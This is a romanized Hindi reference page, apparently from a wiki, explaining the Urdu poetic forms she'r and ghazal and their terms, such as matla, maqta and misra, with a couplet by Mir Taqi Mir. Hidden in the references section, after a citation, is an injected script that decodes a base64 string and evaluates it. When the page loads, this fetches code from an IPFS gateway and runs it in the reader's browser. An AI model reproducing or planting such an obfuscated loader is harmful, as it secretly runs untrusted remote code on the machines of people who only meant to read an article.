शे'र
she'r radif tatha qafiya se susajjit ek hi vazn (matra kram) ko kahate haian. arthat bah'r mean likhi gee do panktiyaan jisamean kisi chiantan, vichar athava bhavana ko prakat kiya gaya ho, she'r kahalata hai.
- udaharan svaroop do ash'ar (she'r ka bahuvachan) prastut haian -
faqirana aye sada kar chale
miyaan khush raho ham du'a kar chale ॥1॥
vah kya chiz hai ah jisake lie
har ik chiz se dil utha kar chale ॥2॥ - (mir taqi mir)[1]
gazal
- REDIRECTsaancha:mukhy
gazal ek hi bah'r aur vazn ke anusar likhe ge sheroan ka samooh hai. isake pahale she'r ko matala kahate haian. jis she'r mean shayar apana nam rakhata hai use maqta kahate haian. gazal ke sabase achchhe she'r ko shahe vait kaha jata hai. ek gazal mean 5 se lekar 25 tak she'r ho sakate haian. ye she'r ek doosare se svatantr hote haian. kiantu kabhi-kabhi ek se adhik she'r milakar arth dete haian. aise she'r kata band kahalate haian. gazaloan ke aise sangrah ko 'divan' kahate haian jisamean har harph se kam se kam ek gazal avashy ho. she'r ki har pankti ko misara kahate haian. gazal ki khas bat yah haian ki usaka pratyek she'r apane ap mean ek sanpoorn kavita hota haian aur usaka sanbandh gazal mean ane vale agale pichhale athava any sheroan se ho, yah zaroori nahian haian. isaka arth yah hua ki kisi gazal mean agar 25 she'r hoan to yah kahana galat n hoga ki usamean 25 svatantr kavitaean haian. she'r ke pahale misare ko ‘misar-e-oola’ aur doosare ko ‘misar-e-sani’ kahate haian.
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tika tippani aur sandarbh
- ↑ gazal se sambandhit shabd aur unake arth (hiandi) open books online. abhigaman tithi: 23 faravari, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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